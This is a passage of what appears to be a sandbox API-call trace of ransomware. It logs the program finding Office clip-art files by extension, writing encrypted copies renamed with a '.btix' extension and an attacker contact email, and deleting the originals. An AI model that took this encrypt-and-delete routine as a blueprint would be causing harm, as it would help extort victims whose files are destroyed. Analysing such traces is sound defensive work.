(lpString=".bz2") returned 4 [0152.465] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.465] lstrlenW (lpString=".7z") returned 3 [0152.465] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0152.465] lstrlenW (lpString=".dbf") returned 4 [0152.465] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0152.465] lstrlenW (lpString=".1cd") returned 4 [0152.465] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105496.WMF") returned 68 [0152.465] lstrlenW (lpString=".jpg") returned 4 [0152.465] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.465] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.465] lstrlenW (lpString="J0105502.WMF") returned 12 [0152.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0152.466] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=5472) returned 1 [0152.466] CloseHandle (hObject=0x374) returned 1 [0152.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf")) returned 0x220 [0152.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0152.466] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.466] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0152.466] GetLastError () returned 0x0 [0152.466] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x1560, lpOverlapped=0x0) returned 1 [0152.467] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1570, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1570, lpOverlapped=0x0) returned 1 [0152.468] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.468] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.468] SetEndOfFile (hFile=0x3a0) returned 1 [0152.468] CloseHandle (hObject=0x3a0) returned 1 [0152.469] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.469] SetEndOfFile (hFile=0x374) returned 1 [0152.469] CloseHandle (hObject=0x374) returned 1 [0152.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.469] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105502.wmf")) returned 1 [0152.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0152.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0152.470] lstrlenW (lpString=".doc") returned 4 [0152.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.470] lstrlenW (lpString=".docx") returned 5 [0152.470] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0152.470] lstrlenW (lpString=".pdf") returned 4 [0152.470] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.470] lstrlenW (lpString=".xls") returned 4 [0152.470] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.470] lstrlenW (lpString=".xlsx") returned 5 [0152.470] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0152.470] lstrlenW (lpString=".ppt") returned 4 [0152.470] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0152.470] lstrlenW (lpString=".zip") returned 4 [0152.470] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.470] lstrlenW (lpString=".rar") returned 4 [0152.470] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.470] lstrlenW (lpString=".bz2") returned 4 [0152.470] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.470] lstrlenW (lpString=".7z") returned 3 [0152.470] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0152.470] lstrlenW (lpString=".dbf") returned 4 [0152.470] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0152.470] lstrlenW (lpString=".1cd") returned 4 [0152.470] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0152.471] lstrlenW (lpString=".jpg") returned 4 [0152.471] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0152.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0152.471] lstrlenW (lpString=".doc") returned 4 [0152.471] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.471] lstrlenW (lpString=".docx") returned 5 [0152.471] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0152.471] lstrlenW (lpString=".pdf") returned 4 [0152.471] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.471] lstrlenW (lpString=".xls") returned 4 [0152.471] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.471] lstrlenW (lpString=".xlsx") returned 5 [0152.471] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0152.471] lstrlenW (lpString=".ppt") returned 4 [0152.471] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0152.471] lstrlenW (lpString=".zip") returned 4 [0152.471] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.471] lstrlenW (lpString=".rar") returned 4 [0152.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.471] lstrlenW (lpString=".bz2") returned 4 [0152.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.471] lstrlenW (lpString=".7z") returned 3 [0152.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0152.471] lstrlenW (lpString=".dbf") returned 4 [0152.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0152.471] lstrlenW (lpString=".1cd") returned 4 [0152.471] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105502.WMF") returned 68 [0152.471] lstrlenW (lpString=".jpg") returned 4 [0152.471] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.472] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.472] lstrlenW (lpString="J0105504.WMF") returned 12 [0152.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0152.472] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=4148) returned 1 [0152.472] CloseHandle (hObject=0x374) returned 1 [0152.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf")) returned 0x220 [0152.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0152.472] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.472] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0152.473] GetLastError () returned 0x0 [0152.473] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x1034, lpOverlapped=0x0) returned 1 [0152.897] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1040, lpOverlapped=0x0) returned 1 [0152.898] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.898] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.898] SetEndOfFile (hFile=0x3a0) returned 1 [0152.899] CloseHandle (hObject=0x3a0) returned 1 [0152.899] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.899] SetEndOfFile (hFile=0x374) returned 1 [0152.899] CloseHandle (hObject=0x374) returned 1 [0152.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.900] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105504.wmf")) returned 1 [0152.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0152.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0152.900] lstrlenW (lpString=".doc") returned 4 [0152.900] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.900] lstrlenW (lpString=".docx") returned 5 [0152.900] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0152.900] lstrlenW (lpString=".pdf") returned 4 [0152.900] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.900] lstrlenW (lpString=".xls") returned 4 [0152.900] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.900] lstrlenW (lpString=".xlsx") returned 5 [0152.900] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0152.900] lstrlenW (lpString=".ppt") returned 4 [0152.900] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0152.900] lstrlenW (lpString=".zip") returned 4 [0152.900] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.900] lstrlenW (lpString=".rar") returned 4 [0152.900] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.900] lstrlenW (lpString=".bz2") returned 4 [0152.900] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.901] lstrlenW (lpString=".7z") returned 3 [0152.901] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0152.901] lstrlenW (lpString=".dbf") returned 4 [0152.901] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0152.901] lstrlenW (lpString=".1cd") returned 4 [0152.901] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0152.901] lstrlenW (lpString=".jpg") returned 4 [0152.901] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0152.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0152.901] lstrlenW (lpString=".doc") returned 4 [0152.901] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.901] lstrlenW (lpString=".docx") returned 5 [0152.901] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0152.901] lstrlenW (lpString=".pdf") returned 4 [0152.901] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.901] lstrlenW (lpString=".xls") returned 4 [0152.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.901] lstrlenW (lpString=".xlsx") returned 5 [0152.901] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0152.901] lstrlenW (lpString=".ppt") returned 4 [0152.901] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0152.901] lstrlenW (lpString=".zip") returned 4 [0152.901] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.901] lstrlenW (lpString=".rar") returned 4 [0152.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.902] lstrlenW (lpString=".bz2") returned 4 [0152.902] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.902] lstrlenW (lpString=".7z") returned 3 [0152.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0152.902] lstrlenW (lpString=".dbf") returned 4 [0152.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0152.902] lstrlenW (lpString=".1cd") returned 4 [0152.902] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105504.WMF") returned 68 [0152.902] lstrlenW (lpString=".jpg") returned 4 [0152.902] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.902] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.902] lstrlenW (lpString="J0106816.WMF") returned 12 [0152.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0152.902] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=3332) returned 1 [0152.902] CloseHandle (hObject=0x374) returned 1 [0152.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf")) returned 0x220 [0152.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0152.903] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.903] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0152.903] GetLastError () returned 0x0 [0152.903] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0xd04, lpOverlapped=0x0) returned 1 [0152.904] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xd10, lpOverlapped=0x0) returned 1 [0152.905] ReadFile (in: hFile=0x374, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0152.905] WriteFile (in: hFile=0x3a0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0152.905] SetEndOfFile (hFile=0x3a0) returned 1 [0152.905] CloseHandle (hObject=0x3a0) returned 1 [0152.905] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.905] SetEndOfFile (hFile=0x374) returned 1 [0152.906] CloseHandle (hObject=0x374) returned 1 [0152.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0152.906] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106816.wmf")) returned 1 [0152.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0152.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0152.906] lstrlenW (lpString=".doc") returned 4 [0152.906] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.906] lstrlenW (lpString=".docx") returned 5 [0152.906] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.906] lstrlenW (lpString=".pdf") returned 4 [0152.906] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.906] lstrlenW (lpString=".xls") returned 4 [0152.906] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.907] lstrlenW (lpString=".xlsx") returned 5 [0152.907] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.907] lstrlenW (lpString=".ppt") returned 4 [0152.907] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0152.907] lstrlenW (lpString=".zip") returned 4 [0152.907] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.907] lstrlenW (lpString=".rar") returned 4 [0152.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.907] lstrlenW (lpString=".bz2") returned 4 [0152.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.907] lstrlenW (lpString=".7z") returned 3 [0152.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0152.907] lstrlenW (lpString=".dbf") returned 4 [0152.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0152.907] lstrlenW (lpString=".1cd") returned 4 [0152.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0152.907] lstrlenW (lpString=".jpg") returned 4 [0152.907] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0152.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0152.907] lstrlenW (lpString=".doc") returned 4 [0152.907] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.907] lstrlenW (lpString=".docx") returned 5 [0152.907] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.907] lstrlenW (lpString=".pdf") returned 4 [0152.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.908] lstrlenW (lpString=".xls") returned 4 [0152.908] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.908] lstrlenW (lpString=".xlsx") returned 5 [0152.908] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.908] lstrlenW (lpString=".ppt") returned 4 [0152.908] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0152.908] lstrlenW (lpString=".zip") returned 4 [0152.908] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.908] lstrlenW (lpString=".rar") returned 4 [0152.908] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.908] lstrlenW (lpString=".bz2") returned 4 [0152.908] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.908] lstrlenW (lpString=".7z") returned 3 [0152.908] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0152.908] lstrlenW (lpString=".dbf") returned 4 [0152.908] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106816.WMF") returned 68 [0152.908] lstrlenW (lpString=".1cd") returned 4 [0152.908] lstrcmpiW (lpString1=".1cd", 